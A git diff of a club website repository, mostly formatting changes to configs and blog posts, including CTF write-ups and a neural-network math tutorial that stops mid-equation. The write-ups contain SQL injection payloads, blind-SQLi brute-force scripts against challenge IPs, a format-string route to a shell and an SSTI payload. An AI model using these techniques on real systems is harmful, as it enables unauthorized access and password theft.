diff --git a/.eslintrc.json b/.eslintrc.json index 7504004..b2ee621 100644 --- a/.eslintrc.json +++ b/.eslintrc.json @@ -1,7 +1,8 @@ { "parserOptions": { "parser": "@typescript-eslint/parser", - "project": "./tsconfig.json" + "project": "./tsconfig.json", + "extraFileExtensions": [".vue"] }, "env": { "browser": true, @@ -19,11 +20,14 @@ "comma-dangle": ["error", "always-multiline"], "vue/attributes-order": "off", "@typescript-eslint/indent": ["error", 2], - "@typescript-eslint/explicit-function-return-type": ["error", { - "allowExpressions": true, - "allowHigherOrderFunctions": true, - "allowTypedFunctionExpressions": true - }] + "@typescript-eslint/explicit-function-return-type": [ + "error", + { + "allowExpressions": true, + "allowHigherOrderFunctions": true, + "allowTypedFunctionExpressions": true + } + ] }, "overrides": [ { diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 83a126d..4b6f659 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -7,16 +7,14 @@ on: jobs: build: - runs-on: ubuntu-latest - steps: -# - name: Use Node.js 16.19.0 -# uses: actions/setup-node@v3 -# with: -# node-version: 16.19.0 -# - run: npm run genrss + # - name: Use Node.js 16.19.0 + # uses: actions/setup-node@v3 + # with: + # node-version: 16.19.0 + # - run: npm run genrss - uses: actions/checkout@v2 - name: Push image to AppVenture registry @@ -33,12 +31,11 @@ jobs: - name: Check if static files changed uses: dorny/paths-filter@v2 id: filter - with: + with: filters: | static: - 'static-large/**' - - name: Push large static files image to AppVenture registry uses: docker/build-push-action@v1 if: steps.filter.outputs.static == 'true' diff --git a/Dockerfile b/Dockerfile index 183b5e4..18a6006 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM node:16 AS builder +FROM node:16-slim AS builder WORKDIR /app @@ -9,9 +9,7 @@ RUN yarn install --frozen-lockfile # replace the values in constants.ts COPY src/constants.ts src/constants.ts ARG STATIC_URL -ENV STATIC_URL ${STATIC_URL} -RUN apt-get update && apt-get install -y gettext-base -RUN envsubst < src/constants.ts > src/constants.ts.tmp +RUN sed "s#%STATIC_URL%#${STATIC_URL}#g" src/constants.ts > src/constants.ts.tmp # copy everything in COPY . . diff --git a/README.md b/README.md index 320c6be..bb19bd5 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -# AppVenture Website V4 +# AppVenture Website V4 -This project is based the starter template for Gridsome using Typescript. It uses **eslint** and **typescript** for static code analysis. In order to integrate these tools with Visual Studio Code, you'll need to install **ESLint** and **Vetur** extensions for the editor. +This project is based the starter template for Gridsome using Typescript. It uses **eslint** and **typescript** for static code analysis. In order to integrate these tools with Visual Studio Code, you'll need to install **ESLint** and **Vetur** extensions for the editor. Before contributing a blog article, check the [documentation](doc/contributions.md) @@ -23,7 +23,7 @@ Before contributing a blog article, check the [documentation](doc/contributions. ### 4. Static Code Analysis - Visual Studio Code -As mentioned before, in order to lint your Typescript code in `*.vue` *Single File Components* with *vscode* you'll need to install [`ESLint`](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) and [`Vetur`](https://marketplace.visualstudio.com/items?itemName=octref.vetur) extensions for the editor. +As mentioned before, in order to lint your Typescript code in `*.vue` _Single File Components_ with _vscode_ you'll need to install [`ESLint`](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) and [`Vetur`](https://marketplace.visualstudio.com/items?itemName=octref.vetur) extensions for the editor. Use the links above to install the extensions, or follow the steps below: @@ -33,15 +33,16 @@ Use the links above to install the extensions, or follow the steps below: 4. Do same thing for **Vetur** extension ### 5. Useful links -* [Repository Documentation](doc/contributions.md) -* [Gridsome docs](https://gridsome.org/docs/) -* [Typescript docs](https://www.typescriptlang.org/docs/) -* [ESLint docs](https://eslint.org/) -* [ESLint rules](https://eslint.org/docs/rules/) -* [Typescript rules](https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/eslint-plugin#supported-rules) -* [Vue rules](https://vuejs.github.io/eslint-plugin-vue/rules/) -* [ESLint extension for vscode](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) -* [Vetur extension for vscode](https://marketplace.visualstudio.com/items?itemName=octref.vetur) + +- [Repository Documentation](doc/contributions.md) +- [Gridsome docs](https://gridsome.org/docs/) +- [Typescript docs](https://www.typescriptlang.org/docs/) +- [ESLint docs](https://eslint.org/) +- [ESLint rules](https://eslint.org/docs/rules/) +- [Typescript rules](https://github.com/typescript-eslint/typescript-eslint/tree/master/packages/eslint-plugin#supported-rules) +- [Vue rules](https://vuejs.github.io/eslint-plugin-vue/rules/) +- [ESLint extension for vscode](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) +- [Vetur extension for vscode](https://marketplace.visualstudio.com/items?itemName=octref.vetur) ### 6. Build and Run Docker Container diff --git a/content/blog/CDDC-2023/index.md b/content/blog/CDDC-2023/index.md index c2974eb..f52ec58 100644 --- a/content/blog/CDDC-2023/index.md +++ b/content/blog/CDDC-2023/index.md @@ -3,7 +3,7 @@ title: CDDC 2023 slug: CDDC-2023 author: [kane] date: 2023-07-05 -tags: [ctf,writeup] +tags: [ctf, writeup] --- ## In the middle of Rust @@ -17,56 +17,59 @@ We decided to do the stupid thing and manually reverse it by hand, painstakingly Let's dig into the main function first: It first defines like 120 variables, but we can worry about that later. the nested `scope{ }` are also all useless. -We see a lot of `bb0`, `bb1`, etc, those are *basic blocks* inside the `.mir` file. They represent a sequence of instructions or statements, and determine how the program flows. Let's start with `bb0` in `main`: +We see a lot of `bb0`, `bb1`, etc, those are _basic blocks_ inside the `.mir` file. They represent a sequence of instructions or statements, and determine how the program flows. Let's start with `bb0` in `main`: ```rust bb0: { - _1 = func001(const 126_u8) -> bb1; + _1 = func001(const 126_u8) -> bb1; } ``` + where `func001` is: + ```rust fn func001(_1: u8) -> u8 { - debug ch => _1; - let mut _0: u8; - let mut _2: u8; - let mut _3: (u8, bool); - let mut _4: u8; - let mut _5: u8; - let mut _6: (u8, bool); - let mut _7: (u8, bool); + debug ch => _1; + let mut _0: u8; + let mut _2: u8; + let mut _3: (u8, bool); + let mut _4: u8; + let mut _5: u8; + let mut _6: (u8, bool); + let mut _7: (u8, bool); scope 1 { - debug retn => _0; + debug retn => _0; } bb0: { - _0 = _1; - _2 = _0; + _0 = _1; + _2 = _0; _3 = CheckedShr(_2, const 3_i32); // rshift _3 by 3 - assert(!move (_3.1: bool), "attempt to shift right by `{}`, which would overflow", const 3_i32) -> bb1; + assert(!move (_3.1: bool), "attempt to shift right by `{}`, which would overflow", const 3_i32) -> bb1; } bb1: { _0 = move (_3.0: u8); _5 = _0; _6 = CheckedMul(_5, const 4_u8); // multiply _5 by 4 - assert(!move (_6.1: bool), "attempt to compute `{} * {}`, which would overflow", move _5, const 4_u8) -> bb2; + assert(!move (_6.1: bool), "attempt to compute `{} * {}`, which would overflow", move _5, const 4_u8) -> bb2; } bb2: { - _4 = move (_6.0: u8); + _4 = move (_6.0: u8); _7 = CheckedAdd(_4, const 7_u8); // add 7 to _4 - assert(!move (_7.1: bool), "attempt to compute `{} + {}`, which would overflow", move _4, const 7_u8) -> bb3; + assert(!move (_7.1: bool), "attempt to compute `{} + {}`, which would overflow", move _4, const 7_u8) -> bb3; } bb3: { - _0 = move (_7.0: u8); - return; + _0 = move (_7.0: u8); + return; } } ``` Which is basically: + ```rust bb0: { _1 = (126 >> 3) * 4 + 7 -> bb1; // 67 @@ -74,13 +77,15 @@ bb0: { ``` Now let's see `bb1`: + ```rust bb1: { - _3 = _1; - _2 = move _3 as char (IntToInt); - _4 = func002(const 51_u8) -> bb2; + _3 = _1; + _2 = move _3 as char (IntToInt); + _4 = func002(const 51_u8) -> bb2; } ``` + We see it makes a a char labelled `_2`, which I assume is the characters of the flag. It also tries to feed `bb2`, the next block, with `func002(51)`, which will later become another character in the flag. From now on we just focused on evaluating these `funcxxx()` and its output. The next several functions are all elementary ones, comprising of addition, subtraction, multiplication, division, and bitwise operators. @@ -106,9 +111,9 @@ fn func010(_1: u8) -> u8 { } bb0: { - _0 = _1; + _0 = _1; _3 = std::ops::Range:: { start: const 0_i32, end: const 10_i32 }; // loop of count 10 - _2 = as IntoIterator>::into_iter(move _3) -> bb1; + _2 = as IntoIterator>::into_iter(move _3) -> bb1; } bb1: { @@ -136,7 +141,7 @@ fn func010(_1: u8) -> u8 { } bb6: { - return; + return; } bb7: { @@ -147,7 +152,7 @@ fn func010(_1: u8) -> u8 { ``` It is essentially a for loop of 10, and each time it loops `_0` gets incremented by 1 (via `_8`) -Therefore `func010(109) = 119` which corresponds to ``'w'`` +Therefore `func010(109) = 119` which corresponds to `'w'` The next several functions are also elementary ones, comprising of addition, subtraction, multiplication, division, and bitwise operators, and also exponentiation. @@ -247,71 +252,71 @@ The last weird function is `func033`; ```rust fn func033(_1: u8) -> u8 { - debug ch => _1; - let mut _0: u8; - let mut _2: std::ops::Range; - let mut _3: std::ops::Range; - let mut _5: std::option::Option; - let mut _6: &mut std::ops::Range; - let mut _7: isize; - let mut _9: i32; - let mut _10: (u8, bool); + debug ch => _1; + let mut _0: u8; + let mut _2: std::ops::Range; + let mut _3: std::ops::Range; + let mut _5: std::option::Option; + let mut _6: &mut std::ops::Range; + let mut _7: isize; + let mut _9: i32; + let mut _10: (u8, bool); scope 1 { - debug retn => _0; - let mut _4: std::ops::Range; + debug retn => _0; + let mut _4: std::ops::Range; scope 2 { - debug iter => _4; - let _8: i32; + debug iter => _4; + let _8: i32; scope 3 { - debug i => _8; + debug i => _8; } } } bb0: { - _0 = _1; // 106 - _3 = std::ops::Range:: { start: const 0_i32, end: const 10_i32 }; - _2 = as IntoIterator>::into_iter(move _3) -> bb1; - + _0 = _1; // 106 + _3 = std::ops::Range:: { start: const 0_i32, end: const 10_i32 }; + _2 = as IntoIterator>::into_iter(move _3) -> bb1; + } bb1: { - _4 = move _2; - goto -> bb2; + _4 = move _2; + goto -> bb2; } bb2: { - _6 = &mut _4; - _5 = as Iterator>::next(_6) -> bb3; + _6 = &mut _4; + _5 = as Iterator>::next(_6) -> bb3; } bb3: { - _7 = discriminant(_5); - switchInt(move _7) -> [0: bb6, 1: bb4, otherwise: bb5]; + _7 = discriminant(_5); + switchInt(move _7) -> [0: bb6, 1: bb4, otherwise: bb5]; } bb4: { - _8 = ((_5 as Some).0: i32); - _9 = Rem(_8, const 2_i32); - switchInt(move _9) -> [0: bb7, otherwise: bb2]; + _8 = ((_5 as Some).0: i32); + _9 = Rem(_8, const 2_i32); + switchInt(move _9) -> [0: bb7, otherwise: bb2]; } bb5: { - unreachable; + unreachable; } bb6: { - return; + return; } bb7: { - _10 = CheckedAdd(_0, const 1_u8); - assert(!move (_10.1: bool), "attempt to compute `{} + {}`, which would overflow", _0, const 1_u8) -> bb8; + _10 = CheckedAdd(_0, const 1_u8); + assert(!move (_10.1: bool), "attempt to compute `{} + {}`, which would overflow", _0, const 1_u8) -> bb8; } bb8: { - _0 = move (_10.0: u8); - goto -> bb2; + _0 = move (_10.0: u8); + goto -> bb2; } } ``` @@ -342,15 +347,19 @@ Tags: web So we are given a username and password field. I tried username `admin` and password `' or 1=1;#` and it worked - it just said "Hello admin" - so it is vulnerable to SQL Injection I assumed that the query was something like this: + ```SQL SELECT FROM WHERE id = '{id}' AND pw = '{pw}'; ``` We see that the url is `http://52.78.16.36:8881/web1/?id=admin&pw=password`, so the column name is probably `pw`, so we can inject: + ``` ' or 1=1 or pw LIKE '%';# ``` + We then replace the `%` with increasingly many `_` until we find one that matches - oh wait it says "no hack", so that probably does not work. Whatever since `%` is not filtered lets use that to get the password: + ```python import requests base = "http://52.78.16.36:8881/web1/" @@ -374,4 +383,5 @@ while True: print("Wrong: "+pw) id += 1 ``` -the result is `end: ' OR pw LIKE 'ADMIN123PW⌂%';#`, and ignoring the last few bits we get `ADMIN123PW`, but that still doesnt give us the flag. Since `LIKE` is not case-senstive, and we can't using `SUBSTRING` since I dont know the table name, we can only try for different combinations of upper and lowercase. I tried all lowercase instead (i.e. `admin123pw`) and I got the flag. \ No newline at end of file + +the result is `end: ' OR pw LIKE 'ADMIN123PW⌂%';#`, and ignoring the last few bits we get `ADMIN123PW`, but that still doesnt give us the flag. Since `LIKE` is not case-senstive, and we can't using `SUBSTRING` since I dont know the table name, we can only try for different combinations of upper and lowercase. I tried all lowercase instead (i.e. `admin123pw`) and I got the flag. diff --git a/content/blog/SeeTF 2023 - Hugo/index.md b/content/blog/SeeTF 2023 - Hugo/index.md index dd03687..2fbcfc6 100644 --- a/content/blog/SeeTF 2023 - Hugo/index.md +++ b/content/blog/SeeTF 2023 - Hugo/index.md @@ -3,7 +3,7 @@ title: SeeTF 2023 Writeups slug: SeeTF-2023 author: [hugomaxlim] date: 2023-06-21 -tags: [ctf,writeup] +tags: [ctf, writeup] --- ## Onelinecrypto @@ -18,7 +18,7 @@ Entire Challenge: assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37 ``` -The assert statement will return an error if the condition given is not fulfilled otherwise nothing is returned. The first part of the condition is doing a regex match of the form `SEE{\w{23}}`, thus the flag contains 23 characters in the curly braces. The second part of the condition ensures that the flag is divisible by $13^{37}$ in long form. +The assert statement will return an error if the condition given is not fulfilled otherwise nothing is returned. The first part of the condition is doing a regex match of the form `SEE{\w{23}}`, thus the flag contains 23 characters in the curly braces. The second part of the condition ensures that the flag is divisible by $13^{37}$ in long form. I actually tried a lot of things at first like brute force and greedy from right to left, but they didn't even come close @@ -28,7 +28,7 @@ $2^{16}\cdot$ `b'a'`$+2^8\cdot$ `b'b'` $+2^0 \cdot$ `b'c'` so essentially you are trying to solve for -`b'SEE{...}'` $ + \sum_{i=1}^{23} 2^{8i} x_I \equiv 0 \pmod{13^{37}}$ +`b'SEE{...}'` $ + \sum\_{i=1}^{23} 2^{8i} x_I \equiv 0 \pmod{13^{37}}$ where all of $x_i$ satisfies `\w` @@ -72,7 +72,7 @@ $$ \end{bmatrix} $$ -which would return some vectors looking like +which would return some vectors looking like $$\begin{bmatrix}a & b & c & ax_1 + bx_2 + cx_3 \end{bmatrix}$$ @@ -137,17 +137,19 @@ for I in sol: print(i) ``` -and we actually get a row ending with $\begin{bmatrix}1&0\end{bmatrix}$, the final row, `(-19, 6, 1, -23, -3, -26, -6, -6, -16, 17, -24, -48, 16, 13, -22, -1, 11, 23, -38, 12, 6, 23, 7, 1, 0)`. +and we actually get a row ending with $\begin{bmatrix}1&0\end{bmatrix}$, the final row, `(-19, 6, 1, -23, -3, -26, -6, -6, -16, 17, -24, -48, 16, 13, -22, -1, 11, 23, -38, 12, 6, 23, 7, 1, 0)`. To get the solution from here we re-add the 1 subtracted in the last row to the first 23 numbers but anyways this still isnt the solution. quite obviously the values of $x_i$ here go into the negatives which dont make valid characters for the flag. what characters are even valid anyway? + ```py good="" for I in string.printable: if __import__('re').fullmatch(r'\w', i): good+=i ``` + `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_` Yeah this is not a lot to work with but whatever. anyways, to make the values obtained more positive and around these values, I realised that since they are currently kind of distributed around 0, and I have to add 1 to compensate for the last row, what if I just make it so I have to add a lot more? @@ -160,7 +162,6 @@ From here, real hell began where I had to keep changing the offsets here and the Anyways after much experimentation, the final code that found the flag for me was - ```py found = False while not found: @@ -189,6 +190,7 @@ while not found: giving `SEE{luQ5xmNUKgEEDO_c5LoJCum}` eventually. ## Semaphore + Category: Crypto They give: @@ -206,10 +208,11 @@ for nibble in flag.hex(): ``` Basically, for every digit in the flag's hex, they append that digit to the flag and then sign it with ecdsa, and print the signature. The thing is, - 1. Signatures are not meant to encrypt a message - 2. The fact that they randomly append a digit to the flag every time is highly suspicious -So doing a little bit of testing we can see that +1. Signatures are not meant to encrypt a message +2. The fact that they randomly append a digit to the flag every time is highly suspicious + +So doing a little bit of testing we can see that ```py flag = b"SEE{" diff --git a/content/blog/avctf2021-av-login-p1/AppVenture Login Part 1.md b/content/blog/avctf2021-av-login-p1/AppVenture Login Part 1.md index e66c852..fd9ac69 100644 --- a/content/blog/avctf2021-av-login-p1/AppVenture Login Part 1.md +++ b/content/blog/avctf2021-av-login-p1/AppVenture Login Part 1.md @@ -3,7 +3,7 @@ title: "[AVCTF2021] AppVenture Login Part 1" slug: avctf2021-av-login-p1 author: [zhaoyun] date: 2021-12-21 -tags: [ctf, web,writeup] +tags: [ctf, web, writeup] --- > Well, I haven't taken CS6131 yet but databases should be easy right?? @@ -27,9 +27,9 @@ In SQL, comments can be made with `--` To skip the password check, we can simply input `admin' --` in username and leave password blank, which would result in the following command -`````sql +```sql select id from users where name='admin' --' and password='' -````` +``` Everything behind `--` is ignored and we successfully log in as admin diff --git a/content/blog/avctf2021-av-login-p2/AppVenture Login Part 2.md b/content/blog/avctf2021-av-login-p2/AppVenture Login Part 2.md index d90fe67..5b98597 100644 --- a/content/blog/avctf2021-av-login-p2/AppVenture Login Part 2.md +++ b/content/blog/avctf2021-av-login-p2/AppVenture Login Part 2.md @@ -3,7 +3,7 @@ title: "[AVCTF2021] AppVenture Login Part 2" slug: avctf2021-av-login-p2 author: [zhaoyun] date: 2021-12-21 -tags: [ctf, web,writeup] +tags: [ctf, web, writeup] --- > Ok, you got the flag, but I bet you'll never get my password! @@ -16,35 +16,41 @@ The flag format is `flag{...}` where characters consist of lower case letters, ` ```js const fetch = require("node-fetch"); -const FormData = require('form-data'); +const FormData = require("form-data"); -let chars = "abcdefghijklmnopqrstuvwxyz_{}".split(''); +let chars = "abcdefghijklmnopqrstuvwxyz_{}".split(""); let password = []; async function verify(i, c) { - const form = new FormData(); - form.append('username', `admin' and SUBSTRING(password, ${i + 1}, 1)='${c}' --`); - const res = await fetch('http://35.240.143.82:4208/login', {method: 'POST', body: form}) - const text = await res.text(); - return text !== "Login failed" + const form = new FormData(); + form.append( + "username", + `admin' and SUBSTRING(password, ${i + 1}, 1)='${c}' --`, + ); + const res = await fetch("http://35.240.143.82:4208/login", { + method: "POST", + body: form, + }); + const text = await res.text(); + return text !== "Login failed"; } async function step(i) { - for (let c of chars) { - if (await verify(i, c)) return c; - } - return null; + for (let c of chars) { + if (await verify(i, c)) return c; + } + return null; } async function brute_force() { - let i = 0; - while (true) { - password[i] = await step(i); - console.log(password.join('')); - if (!password[i]) break; - i++; - } - console.log(password.join('')); + let i = 0; + while (true) { + password[i] = await step(i); + console.log(password.join("")); + if (!password[i]) break; + i++; + } + console.log(password.join("")); } brute_force(); @@ -83,4 +89,3 @@ flag{oops_looks_like_youre_not_blind} ``` Flag obtained - diff --git a/content/blog/avctf2021-espace-0/Espace 0.md b/content/blog/avctf2021-espace-0/Espace 0.md index 11ccd1f..2c417e8 100644 --- a/content/blog/avctf2021-espace-0/Espace 0.md +++ b/content/blog/avctf2021-espace-0/Espace 0.md @@ -3,7 +3,7 @@ title: "[AVCTF2021] Espace 0" slug: avctf2021-espace-0 author: [zhaoyun] date: 2021-12-21 -tags: [ctf, web,writeup] +tags: [ctf, web, writeup] --- The hardest challenge of the web category, but was actually solved before Login Part 0 since my brain was dead @@ -26,7 +26,7 @@ assert yaml.__version__ == "5.3.1" @app.route("/") def index(): return render_template("./index.html") - + @app.route("/", methods=["POST"]) def welcome(): student_data = request.form.get("student_data") @@ -65,6 +65,3 @@ flag{yet_another_mal-coded_library} ``` Flag obtained - - - diff --git a/content/blog/avctf2021-printwriter/Printwriter 1.md b/content/blog/avctf2021-printwriter/Printwriter 1.md index a3da0ff..8e17617 100644 --- a/content/blog/avctf2021-printwriter/Printwriter 1.md +++ b/content/blog/avctf2021-printwriter/Printwriter 1.md @@ -3,7 +3,7 @@ title: "[AVCTF2021] Printwriter 1" slug: avctf2021-printwriter author: [zhaoyun] date: 2021-12-21 -tags: [ctf, pwn,writeup] +tags: [ctf, pwn, writeup] --- > My wonderful app works both as an echo server and a file lister! @@ -17,7 +17,7 @@ undefined8 main(void) { int32_t iVar1; char *format; - + setup(); while( true ) { fgets(&format, 0x70, _stdin); @@ -79,7 +79,7 @@ offset = 6 In the decompiler, I noticed how `/bin/ls/` is located at `0x00404058` - ![image-20211221173130465](./image-20211221173130465.png) +![image-20211221173130465](./image-20211221173130465.png) If I edit `/bin/ls/` into `/bin/sh`, as they have same amount of characters, I can gain remote shell access. diff --git a/content/blog/avctf2021-ssti/Super Secure Trustable Implementation.md b/content/blog/avctf2021-ssti/Super Secure Trustable Implementation.md index 752b59f..a35450e 100644 --- a/content/blog/avctf2021-ssti/Super Secure Trustable Implementation.md +++ b/content/blog/avctf2021-ssti/Super Secure Trustable Implementation.md @@ -3,7 +3,7 @@ title: "[AVCTF2021] Super Secure Trustable Implementation" slug: avctf2021-ssti author: [zhaoyun] date: 2021-12-21 -tags: [ctf, web,writeup] +tags: [ctf, web, writeup] --- > I've added a bunch of filters, so my app must be really secure now. @@ -78,7 +78,7 @@ With some experimenting, we can find that (,) ``` -The tuple inherits directly from `object`, hence we can find the list of types (extends object) by sending the payload +The tuple inherits directly from `object`, hence we can find the list of types (extends object) by sending the payload ##### `{{().__class__.__bases__[0].__subclasses__()}}` diff --git a/content/blog/cnn-from-scratch/part1.md b/content/blog/cnn-from-scratch/part1.md index 22a2098..72f182f 100644 --- a/content/blog/cnn-from-scratch/part1.md +++ b/content/blog/cnn-from-scratch/part1.md @@ -1,789 +1,779 @@ ---- -title: Building Convolutional Neural Networks from Scratch - Part 1 (Matrix Calculus) -slug: cnn-from-scratch-1 -author: [zayan] -date: 2022-05-26 -tags: [ml] ---- - -# Mathematics - -**Mathematics** is an area of knowledge, which includes the study of such topics as numbers, formulas and related structures, shapes and spaces in which they are contained, and quantities and their changes. There is no general consensus about its exact scope or epistemological status. However, it is extremely labourious and time-consuming but necessary and is sometimes (albeit very rarely) interesting. - -Neural Networks are somewhat interesting. Everyone kind of knows the math behind NNs (the gist of it). It was taught in **CS5131** to a very limited extent but not many know about the full math behind deep and convolutional neural networks. I mean people get that it has something to do with backpropogation or whatever, but how do you scale it up to multiple value and multiple derivatives. As you will come to learn, these derivations are incredibly computationally intensive and time-consuming, especially during implementation. But I have done it because I care about AppVenture and I want to help the casual onlooker understand the many trials and tribulations a simple layer goes through to deliver what we should consider peak perfection. It was a fun but painful exercise and I gained a deeper understanding of the mathematical constructs that embody our world. Anyways, let's start out with a referesher. Warning that Matrix Math lurks ahead, so tread with caution. This is deeper than **CS5131** could have ever hoped to cover, so you will learn some stuff with this excercise. This first part is about the math behind deep neural networks. - -This article is written with some assumed knowledge of the reader but it is not that bad for most CS students especially since NNs are baby level for the most part. Nonetheless, assumed knowledge is written below. -- Deep Neural Network (How to implement + basic understanding of the math) -- Gradient Descent -- Linear Algebra - -If you don't know this stuff, all you really need to do is read an introduction to linear algebra, understand how matrices and vectors are multiplied and watch 3b1b's series on machine learning. - -Let's start by importing our bff for life, **Numpy**. - -```python ->>> import numpy as np -``` - -Numpy is introduced in CS4132 (or PC6432 for some reason), but for a quick summary, it is a Linear Algebra library, which means it is VERY useful in this task. - - -## Gradient Descent Example (Linear System Solution) - -Observe the following series of mathematical equations: - -$$ -\begin{aligned} -4a+2b&=22\\ -3a+8b&=49 -\end{aligned} -$$ - -Despite the fact that solving these is pretty easy (as we learnt in Year 1), let's try going with a different solution from what is usually portrayed. Let's try using **gradient descent**. - -If you remember, Gradient Descent is a method used to solve any sort of equation by taking steps towards the real value by using calculus to predict the direction and size of the step. Essentially if you remember in calculus, the minimum of the graph will have a tangent of slope 0 and hence we can understand the direction of these "steps" to solve the problem. We just need a function where the derivative and function result approach 0 as you get closer to the true solution. This function is known as the objective function. - -As you probably know, a linear equation is written as such: - -$$ -A \mathbf{x}-\mathbf{b}=0 -$$ - -where $A$ is a known square matrix, $\mathbf{b}$ is a known vector and $\mathbf{x}$ is an unknown vector. - -In this case, for the objective function we will use Linear Least Squares (LLS) function as it is an accurate thing to minimize in this case written below. - -$$ -F(\mathbf{x}) = {||A\mathbf{x}-\mathbf{b}||}_{2}^{2} -$$ - -### Matrix Calculus - -Now, what do the weird lines and two occurences of "2" above mean and how exactly do we calculate the derivative of a scalar in terms of a vector? Well we have to learn matrix calculus, a very peculiar domain of math that is very torturous. Ideally, you want to avoid this at all cost, but I will do a gentle walk through this stuff. - -Firstly, let's revise derivatives wth this simple example: - -$$ -\newcommand{\dv}[2]{\frac{\mathrm{d}{#1}}{\mathrm{d}{#2}}} -\newcommand{\ddv}[1]{\frac{\mathrm{d}}{\mathrm{d}{#1}}} -\begin{aligned} -y&=\sin(x^2)+5\\ -\dv{y}{x}&=\ddv{x}(\sin(x^2)+5)\\ -&=2x \cos(x^2) -\end{aligned} -$$ - -For functions with multiple variables, we can find the partial derivative with respect to each of the variables, as shown below: -$$ -\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} -\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} -\begin{aligned} -f(x,y)&=3xy+x^2\\ -\ppv{x}(f(x,y))&=3y+2x\\ -\ppv{y}(f(x,y))&=3x -\end{aligned} -$$ - - -A thing to understand is that vectors are just a collection of numbers, so an n-sized vector will have n partial derivatives if the function is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$ (the derivative is known as the gradient). But do we represent these n partial derivatives as a column vector or row vector? - -$$ -\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} -\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} -\pv{y}{\mathbf{x}} = -\begin{bmatrix} -\pv{y}{\mathbf{x}_{1}}\\ -\pv{y}{\mathbf{x}_{2}}\\ -\vdots\\ -\pv{y}{\mathbf{x}_{n}}\\ -\end{bmatrix} -$$ - -$$ -\newcommand{\pv}[2]{\frac{\partial {#1}}{\partial {#2}}} -\newcommand{\ppv}[1]{\frac{\partial}{\partial {#1}}} -\pv{y}{\mathbf{x}} = -\begin{bmatrix} -\pv{y}{\mathbf{x}_{1}} & \pv{y}{\mathbf{x}_{2}} & \cdots & \pv{y}{\mathbf{x}_{n}} -\end{bmatrix} -$$ - -Well, both actually can work (even if you think of a vector as a column vector), the first version is called the denominator layout and the second one is called the numerator layout. They are both transpositions of each other. For gradient descent the denominator layout is more natural because for standard practice because we think of a vector as a column vector. I also prefer the denominator layout. However, the numerator layout follows the rules of single variable calculus more normally and will be much easier to follow. For example, matrices do not have commutative multiplication so the direction you chain terms matters. We naturally think of chaining terms to the back and this is true for numerator layout but in denominator layout terms are chained to the front. Product rule also is more funny when it comes to denom layout. So moving forward we will stick with the numerator layout and transpose the matrix or vector once the derivative is found. We will also stick to column vectors. - -First lets look at the $A\mathbf{x}-\mathbf{b}$ term and we will see why the derivative is so and so with a simple $2 \times 2$ case. $A\mathbf{x}-\mathbf{b}$ is a $f:\mathbb{R}^{n} \rightarrow \mathbb{R}^{n}$ and hence the derivative will be a matrix (known as the Jacobian to many). Lets first, see the general equation and work it out for every value. - -$$ -\begin{aligned} -\mathbf{y} &= A\mathbf{x}-\mathbf{b}\\ -\begin{bmatrix} -{\mathbf{y}}_{1} \\ -{\mathbf{y}}_{2} -\end{bmatrix} -&= -\begin{bmatrix} -{a}_{11} & {a}_{12}\\ -{a}_{21} & {a}_{22}\\ -\end{bmatrix} -\begin{bmatrix} -{\mathbf{x}}_{1} \\ -{\mathbf{x}}_{2} -\end{bmatrix} -- -\begin{bmatrix} -{\mathbf{b}}_{1} \\ -{\mathbf{b}}_{2} -\end{bmatrix} \\ -&= -\begin{bmatrix} -{a}_{11}{\mathbf{x}}_{1} + {a}_{12}{\mathbf{x}}_{2}-{\mathbf{b}}_{1} \\ -{a}_{21}{\mathbf{x}}_{1} + {a}_{22}{\mathbf{x}}_{2}-{\mathbf{b}}_{2} -\end{bmatrix} -\end{aligned} -$$ - -Now we calculate the Jacobian (remember that it is transposed) by calculating the individual derivative for every value. - -$$ -\begin{aligned} -\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &= -\begin{bmatrix} -\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{1}} & \frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{2}}\\ -\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{1}} & \frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{2}}\\ -\end{bmatrix} \\ -\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{1}} &= {a}_{11}\\ -\frac{\partial {\mathbf{y}}_{1}}{\partial{\mathbf{x}}_{2}} &= {a}_{12}\\ -\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{1}} &= {a}_{21}\\ -\frac{\partial {\mathbf{y}}_{2}}{\partial{\mathbf{x}}_{2}} &= {a}_{22}\\ -\frac{\partial \mathbf{y}}{\partial \mathbf{x}} &= -\begin{bmatrix} -{a}_{11} & {a}_{12}\\ -{a}_{21} & {a}_{22}\\ -\end{bmatrix} -= A -\end{aligned} -$$ - -We see that it is kind of the same with single variable, where if we have $f(x)=ax$, then $f'(x)=a$ where a is constant. - -Now we look at the lines and "2"s. This is a common function known as the euclidean norm or 2-norm. - -$$ -\|{\mathbf {x}}\|_{2}:={\sqrt {x_{1}^{2}+\cdots +x_{n}^{2}}} -$$ - -We then square it giving rise to the second "2". Now we define and do the same thing we did with $A\mathbf{x}-\mathbf{b}$, $\|{\mathbf {y}}\|_{2}^{2}$ is $f:\mathbb{R}^{n} \rightarrow \mathbb{R}$. Hence, the derivative is a row vector. - -$$ -\begin{aligned} -z&=\|{\mathbf {y}}\|_{2}^{2}\\ -&={\mathbf {y}}_{1}^{2} + {\mathbf {y}}_{2}^{2} -\end{aligned} -$$ - -Now we calculate the Gradient (remember that it is transposed) by calculating the individual derivative for every value. - -$$ 